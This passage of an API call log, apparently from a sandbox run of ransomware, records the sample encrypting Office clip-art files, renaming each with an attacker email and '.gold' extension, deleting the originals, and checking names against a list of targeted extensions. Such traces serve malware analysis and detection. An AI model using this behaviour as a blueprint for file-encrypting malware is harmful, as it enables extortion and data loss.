lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0102.346] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.346] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.346] SetEndOfFile (hFile=0x3c0) returned 1 [0102.346] CloseHandle (hObject=0x3c0) returned 1 [0102.346] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.347] SetEndOfFile (hFile=0x3a8) returned 1 [0102.349] CloseHandle (hObject=0x3a8) returned 1 [0102.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0102.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString=".doc") returned 4 [0102.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString=".docx") returned 5 [0102.350] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0102.350] lstrlenW (lpString=".pdf") returned 4 [0102.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString=".xls") returned 4 [0102.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.350] lstrlenW (lpString=".xlsx") returned 5 [0102.350] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0102.350] lstrlenW (lpString=".ppt") returned 4 [0102.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString=".zip") returned 4 [0102.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.350] lstrlenW (lpString=".rar") returned 4 [0102.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString=".bz2") returned 4 [0102.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString=".7z") returned 3 [0102.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString=".dbf") returned 4 [0102.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString=".1cd") returned 4 [0102.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString=".jpg") returned 4 [0102.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.350] lstrlenW (lpString=".doc") returned 4 [0102.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString=".docx") returned 5 [0102.350] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0102.350] lstrlenW (lpString=".pdf") returned 4 [0102.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.350] lstrlenW (lpString=".xls") returned 4 [0102.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.350] lstrlenW (lpString=".xlsx") returned 5 [0102.350] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0102.350] lstrlenW (lpString=".ppt") returned 4 [0102.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.351] lstrlenW (lpString=".zip") returned 4 [0102.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.351] lstrlenW (lpString=".rar") returned 4 [0102.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.351] lstrlenW (lpString=".bz2") returned 4 [0102.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.351] lstrlenW (lpString=".7z") returned 3 [0102.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.351] lstrlenW (lpString=".dbf") returned 4 [0102.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.351] lstrlenW (lpString=".1cd") returned 4 [0102.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0102.351] lstrlenW (lpString=".jpg") returned 4 [0102.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.351] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.351] lstrlenW (lpString="J0099184.WMF") returned 12 [0102.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.360] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4118) returned 1 [0102.360] CloseHandle (hObject=0x230) returned 1 [0102.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0102.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.361] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.361] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.362] GetLastError () returned 0x0 [0102.362] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1016, lpOverlapped=0x0) returned 1 [0102.364] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1020, lpOverlapped=0x0) returned 1 [0102.366] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.366] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.366] SetEndOfFile (hFile=0x39c) returned 1 [0102.366] CloseHandle (hObject=0x39c) returned 1 [0102.366] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.366] SetEndOfFile (hFile=0x230) returned 1 [0102.370] CloseHandle (hObject=0x230) returned 1 [0102.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0102.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.371] lstrlenW (lpString=".doc") returned 4 [0102.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString=".docx") returned 5 [0102.371] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0102.371] lstrlenW (lpString=".pdf") returned 4 [0102.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString=".xls") returned 4 [0102.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.371] lstrlenW (lpString=".xlsx") returned 5 [0102.371] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0102.371] lstrlenW (lpString=".ppt") returned 4 [0102.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.371] lstrlenW (lpString=".zip") returned 4 [0102.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.371] lstrlenW (lpString=".rar") returned 4 [0102.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString=".bz2") returned 4 [0102.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString=".7z") returned 3 [0102.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.371] lstrlenW (lpString=".dbf") returned 4 [0102.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.371] lstrlenW (lpString=".1cd") returned 4 [0102.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.371] lstrlenW (lpString=".jpg") returned 4 [0102.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.372] lstrlenW (lpString=".doc") returned 4 [0102.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString=".docx") returned 5 [0102.372] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0102.372] lstrlenW (lpString=".pdf") returned 4 [0102.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString=".xls") returned 4 [0102.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.372] lstrlenW (lpString=".xlsx") returned 5 [0102.372] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0102.372] lstrlenW (lpString=".ppt") returned 4 [0102.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.372] lstrlenW (lpString=".zip") returned 4 [0102.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.372] lstrlenW (lpString=".rar") returned 4 [0102.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString=".bz2") returned 4 [0102.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString=".7z") returned 3 [0102.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.372] lstrlenW (lpString=".dbf") returned 4 [0102.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.372] lstrlenW (lpString=".1cd") returned 4 [0102.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0102.372] lstrlenW (lpString=".jpg") returned 4 [0102.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.372] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.372] lstrlenW (lpString="J0099185.JPG") returned 12 [0102.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.373] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3282) returned 1 [0102.373] CloseHandle (hObject=0x230) returned 1 [0102.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0102.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.373] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.373] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.374] GetLastError () returned 0x0 [0102.374] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xcd2, lpOverlapped=0x0) returned 1 [0102.377] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0102.377] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.377] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.378] SetEndOfFile (hFile=0x39c) returned 1 [0102.378] CloseHandle (hObject=0x39c) returned 1 [0102.378] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.378] SetEndOfFile (hFile=0x230) returned 1 [0102.379] CloseHandle (hObject=0x230) returned 1 [0102.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0102.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.380] lstrlenW (lpString=".doc") returned 4 [0102.380] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.380] lstrlenW (lpString=".docx") returned 5 [0102.380] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0102.380] lstrlenW (lpString=".pdf") returned 4 [0102.380] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.380] lstrlenW (lpString=".xls") returned 4 [0102.380] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.380] lstrlenW (lpString=".xlsx") returned 5 [0102.380] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0102.381] lstrlenW (lpString=".ppt") returned 4 [0102.381] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString=".zip") returned 4 [0102.381] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString=".rar") returned 4 [0102.381] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString=".bz2") returned 4 [0102.381] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.381] lstrlenW (lpString=".7z") returned 3 [0102.381] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString=".dbf") returned 4 [0102.381] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString=".1cd") returned 4 [0102.381] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString=".jpg") returned 4 [0102.381] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString=".doc") returned 4 [0102.381] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.381] lstrlenW (lpString=".docx") returned 5 [0102.381] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0102.381] lstrlenW (lpString=".pdf") returned 4 [0102.381] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString=".xls") returned 4 [0102.381] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString=".xlsx") returned 5 [0102.381] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0102.381] lstrlenW (lpString=".ppt") returned 4 [0102.381] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.381] lstrlenW (lpString=".zip") returned 4 [0102.381] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString=".rar") returned 4 [0102.381] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.381] lstrlenW (lpString=".bz2") returned 4 [0102.381] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.381] lstrlenW (lpString=".7z") returned 3 [0102.381] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.382] lstrlenW (lpString=".dbf") returned 4 [0102.382] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.382] lstrlenW (lpString=".1cd") returned 4 [0102.382] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0102.382] lstrlenW (lpString=".jpg") returned 4 [0102.382] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.382] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.382] lstrlenW (lpString="J0099186.JPG") returned 12 [0102.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.382] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=16738) returned 1 [0102.382] CloseHandle (hObject=0x230) returned 1 [0102.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0102.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.383] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.383] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.383] GetLastError () returned 0x0 [0102.383] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4162, lpOverlapped=0x0) returned 1 [0102.385] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0102.386] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.386] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.386] SetEndOfFile (hFile=0x39c) returned 1 